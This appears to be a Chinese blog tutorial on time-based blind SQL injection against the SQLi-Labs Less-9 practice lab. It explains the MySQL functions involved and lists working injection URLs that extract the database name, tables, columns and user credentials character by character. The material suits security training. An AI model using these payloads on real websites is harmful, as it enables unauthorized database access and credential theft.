SQL注入——基于时间的盲注(九)
本章目的
普及延時盲注技術(shù)的運用場景及條件,熟悉length()、Substr()、ascii()、sleep()、if()等函數(shù)的用法,掌握基于時間的盲注基本流程。PS:面試問答不深問就回答延遲
基本概念
盲注
在SQL注入過程中,SQL語句執(zhí)行后,選擇的數(shù)據(jù)不能回顯到前端頁面,此時需要利用一些
方法進行判斷或者嘗試,這個過程稱之為盲注。
>在盲注中,攻擊者根據(jù)其返回頁面的不同來判斷信息(可能是頁面內(nèi)容的不同,也可以是響
應時間不同)。一般情況下,盲注可分為兩類
基于布爾的盲注(Booleanbased)
基于時間的盲注(Timebased)
基于布爾的育注
>某些場合下,頁面返回的結(jié)果只有兩種(正常或錯誤)。通過構(gòu)造SQL判斷語句,查看頁面的返回結(jié)果(TrueorFalse)來判斷哪些SQL判斷條件成立,通過此來獲取數(shù)據(jù)庫中的數(shù)據(jù)。
基于時間的盲注
>又稱延時注入,即使用具有延時功能的函數(shù)sleep、benchmark等,通過判斷這些函數(shù)是否正常執(zhí)行來獲取數(shù)據(jù)庫中的數(shù)據(jù)
盲注常用函數(shù)
if()
功能:條件判斷。
語法格式:if(expr1,expr2,expr3):expr1為true則返回expr2,expr1為false則返回expr3。
注:僅MySQL支持if(expr1,expr2,expr3)。
left()
功能:截取具有指定長度的字符串的左邊部分。
語法格式:left(strlength),如果str或length參數(shù)為NULL,則返回NULL值。
參數(shù)說明
str:要提取子串的字符串。
length:正整數(shù),指定將從左邊返回的字符數(shù)。length為0或為負,則LEFT返回一個空字符串
length大于str字符串的長度,則leftO返回整個str字符串。
length()
功能:返回字符串的長度,以字節(jié)為單位。
語法格式:length(str)
substr()、substring()
功能:從指定的位置開始,截取字符串指定長度的子串。
語法格式:substr(str,pos)或substr(str,pos,len),substring(str,pos)substring(str,pos,len)
參數(shù)說明
str:要提取子串的字符串。
pos:提取子串的開始位置
len:指定要提取的子串的長度
ascii()、ord()
功能:返回字符串最左邊字符的ASCII碼值
語法格式:ascii(str),ord(str)
cast()、convert()
功能:獲取一個類型的值,并產(chǎn)生另一個類型的值。
>語法格式:cast(value as type),convert(value,type)
可轉(zhuǎn)換的值類型
二進制,同帶binary前綴的效果:BINARY
字符型,可帶參數(shù):CHARO
日期:DATE
時間:TIME
日期時間型:DATETIME
浮點數(shù):DECIMAL
整數(shù):SIGNED
無符號整數(shù):UNSIGNED
延時函數(shù)sleep()
功能:讓語句延退執(zhí)行一段時間,執(zhí)行成功后返回0。
語法格式:sleep(N),即延退執(zhí)行N秒。
延時函數(shù)benchmark()
功能:讓某語句執(zhí)行一定的次數(shù),執(zhí)行成功后返回0。
語法格式:benchmark(coun,texpr),即讓expr執(zhí)行count次
注:僅MySQL支持該函數(shù)。
實驗環(huán)境
攻擊機:Pentest-Atk
(1)操作系統(tǒng):Windows10
(2)安裝的應用軟件:sqlmap 、Burpsuite 、FireFox瀏覽器及其插件Hackbar 、 等
(3)登錄賬號密碼:操作系統(tǒng)帳號Administrator,密碼Sangfor!7890
想機:A-SQLi-Labs
(1)操作系統(tǒng):Centos7(本機亦可)
(2)安裝的應用軟件:Apache、MySQL(MariaDB)、PHP:DVWA、SQLi-Labs、
Webug3.0漏洞網(wǎng)站環(huán)境
(3)登錄賬號密碼:操作系統(tǒng)帳號root,密碼Sangfor!7890
實驗原理
(1)關(guān)于時間(延時)盲注
某些場合下,頁面只有一種返回結(jié)果,使用具有延時功能的函數(shù)seep(),benchmark()等,通過判斷這些函數(shù)是否正常執(zhí)行來獲取數(shù)據(jù)庫中的數(shù)據(jù)。
(2)一些功能函數(shù)的說明
ength(str):返回字符串(str)的長度,以字節(jié)為單位。
substr( str, pos,len):從指定的位置(pos)開始,截取并返回字符串(str)指定
長度(len)的子串。
ascii(str):返回字符串(str)最左邊字符的ASCll碼。
if(expr1,expr2,expr3):條件判斷函數(shù),expr1為true則返回expr2,expr1為 false則返回exp3。
sleep(N):讓語句延遲執(zhí)行一段時間(N秒),執(zhí)行成功后返回0。benchmark(count,expr):讓expr執(zhí)行 count次,執(zhí)行成功后返回0。
實驗步驟
本實驗的目標是:以sQLi-Labs網(wǎng)站的Less-9為入口,利用基于時間的盲注方式獲取SQLi-Labs網(wǎng)站的登錄用戶名和密碼
1,訪問SQLi-Labs網(wǎng)站
在攻擊機 Pentest-Atk打開 FireFox瀏覽器,并訪問靶機 A-SQLi-Labs上的
SQLi-Labs網(wǎng)站Less-9。訪問的URL為:
http://[靶機IP/sqli-labs/Less-9登錄后,根據(jù)網(wǎng)頁提示,給定一個id=1的參數(shù),即:
http://127.0.0.1/sqli-labs-master/Less-9/?id=1此時頁面顯示信息為Youarein....(我的自動翻譯了)
如果給定一個?id=-1的參數(shù),即:
http://127.0.0.1/sqli-labs-master/Less-9/?id=-1此時頁面顯示信息仍然為Youarein...
可以繼續(xù)給定不同的id參數(shù)進行嘗試,發(fā)現(xiàn)頁面的顯示結(jié)果只有一種: You are in..由此可以判斷,這是一種典型的時間(延時)盲注場景!
2.尋找注入點
使用seep()函數(shù)判斷注入點的類型:(條件不好的50換5)php崩了就重啟
http://127.0.0.1/sqli-labs-master/Less-9/?id=1 and sleep(50)--+sleep(5)未執(zhí)行,頁面無明顯延遲。
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and sleep(50)--+sleep(5)成功執(zhí)行,頁面有明顯延退!
由上述結(jié)果可以判斷,網(wǎng)站存在字符型注入點。
3.盲猜網(wǎng)站當前所在數(shù)據(jù)庫的庫名長度
假設當前所在數(shù)據(jù)庫的庫名長度為N,嘗試使用判斷語句
不斷變化M的值去猜測,如果M等于N,
此時sleep(5)會成功執(zhí)行,頁面應該會有明顯延退。
例如執(zhí)行如下payload
頁面無明顯延遲,說明網(wǎng)站當前所在數(shù)據(jù)庫的庫名長度不是7個字符。
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(length(database())=8,sleep(5),1)--+4.盲猜網(wǎng)站當前所在數(shù)據(jù)庫的庫名字符串
本步驟通過逐個字母盲猜的方式進行。
假設庫名字符串的第1個字母為a,那么條件判斷語句 if(substr(庫名字符串11)='a', sleep(5,1)以及 if(ascii(substr(庫名字符串1,1)=97,sleep(5),1)中,seep(5)能成功執(zhí)行,頁面應該會有明顯延遲
假設庫名字符串的第2個字母為b,那么條件判斷語句if(substr(庫名字符串,2,1)= 'b', sleep(5),1)以及 if(ascii( substr(庫名字符串,2,1)=98,seep(5),1)中,seep(5)能成功執(zhí)行,頁面應該會有明顯延遲
...
以此類推。
猜測庫名的第1個字母:
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(substr(database(),1,1)='s',sleep(50),1)--+or
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(ascii(substr(database (),1,1))=115,sleep(5),1)--+頁面有明顯延遲,證明庫名的第1個字母為s,猜測正確。
?猜測庫名的第2個字母:
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(substr(database(),2,1)='e',sleep(10),1)--+?or
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(ascii(substr(database (),2,1))=101,sleep(5),1)--+頁面有明顯延遲,證明庫名的第2個字母為e,猜測正確。
?以此類推,最終得到的字符串結(jié)果為 security
5.盲猜數(shù)據(jù)庫 security的全部表名
(1)猜測第1張表的表名
猜測第1張表的表名的第1個字符
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e',sleep(5),1)--+或
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if (ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,sleep(5),1)--+頁面有明顯延遲,證明第1張表的表名的第1個字符為e,猜測正確。
?猜測第1張表的表名的第2個字符:
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1)='m',sleep(5),1)--+或
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if (ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1))=109,sleep(5),1)--+頁面有明顯延遲,證明第1張表的表名的第2個字符為m,猜測正確
?以此類推,得到security庫中的第1張表的名字為emails。
(2)猜測第2張表的表名
猜測第2張表的表名的第1個字符
or
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if (ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))=114,sleep(5),1)--+?頁面有明顯延退,證明第2張表的表名的第1個字符為r,猜測正確。
猜測第2張表的表名的第2個字符:
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),2,1)='e',sleep(5),1)--+或
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if (ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),2,1))=101,sleep(5),1)--+頁面有明顯延遲,證明第2張表的表名的第2個字符為e,猜測正確。
...
以此類推,得到security庫中的第2張表的名字為referers依據(jù)上述方法,通過不斷變換limit和substr()函數(shù)中的參數(shù),可以最終得到security庫中所有表的表名:emails、referers、uagents和users。其中,第4張表users當中往往存放著網(wǎng)站用戶的基本信息
6.盲猜users表的全部字段名
(1)猜測第1個字段名
猜測第1個字段名的第1個字符
or
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if (ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))='105',sleep(5),1)--+?猜測第1個字段名的第2個字符
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if (substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),2,1)='d',sleep(5),1)--+或
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if (ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),2,1))='100',sleep(5),1)--+頁面有明顯延遲,證明第1個字段名的第2個字符為d,猜測正確。
以此類推,得到users表中的第1個字段名為id。
依據(jù)上述方法,通過不斷變換limit和substr()函數(shù)中的參數(shù),可以最終得到users
表中所有字段名:id、username和password
7.盲猜users表username和password字段的全部值
(1)猜測第1組數(shù)據(jù)
猜測第1組數(shù)據(jù)的第1個字符:
或
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if (ascii(substr((select concat_ws(',',username,password) from security.users limit 0,1),1,1))='68',sleep(5),1)--+頁面有明顯延遲,證明第1組數(shù)據(jù)的第1個字符為D,猜測正確
猜測第1組數(shù)據(jù)的第2個字符:
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(substr((select concat_ws(',',username,password) from security.users limit 0,1),2,1)='u',sleep(5),1)--+或
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(ascii(substr((select concat_ws(',',username,password) from security.users limit 0,1),2,1))=117,sleep(5),1)--+頁面有明顯延遲,證明第1組數(shù)據(jù)的第2個字符為u,猜測正確。
以此類推,得到第1組數(shù)據(jù)為Dump.Dump。
注意:字符串中的逗號(,)也是需要進行猜測比對的!例如第1組數(shù)據(jù)的第5
個字符:
或
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(ascii(substr((select concat_ws(',',username,password) from security.users limit 0,1),5,1))=44,sleep(5),1)--+?(2)猜測第2組數(shù)據(jù)
猜測第2組數(shù)據(jù)的第1個字符:
or
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(ascii(substr((select concat_ws(',',username,password) from security.users limit 1,1),1,1))=65,sleep(5),1)--+頁面有明顯延遲,證明第2組數(shù)據(jù)的第1個字符為A,猜測正確。
猜測第2組數(shù)據(jù)的第2個字符
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(substr((select concat_ws(',',username,password) from security.users limit 1,1),2,1)='n',sleep(5),1)--+或
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(ascii(substr((select concat_ws(',',username,password) from security.users limit 1,1),2,1))=110,sleep(5),1)--+頁面有明顯延遲,證明第2組數(shù)據(jù)的第2個字符為n,猜測正確。
...
以此類推,得到第2組數(shù)據(jù)為“Angelina.l-kill-you”
依據(jù)上述方法,通過不斷變換limit和substr()函數(shù)中的參數(shù),可以最終得到users表中username和password字段的全部值。
SQL注入 ——sql數(shù)據(jù)庫操作基礎(一)_Gjqhs的博客-CSDN博客
SOL注入——HTTP頭部注入(2)(七)_Gjqhs的博客-CSDN博客
SQL注入——基于布爾的盲注(八)_Gjqhs的博客-CSDN博客
...
更多包括而不限于SQL注入的文章,關(guān)注我全部帶走吧( ?? ω ?? )?
總結(jié)
以上是生活随笔為你收集整理的SQL注入——基于时间的盲注(九)的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: webug3.0下载环境搭建使用
- 下一篇: SQL注入-二阶注入(十)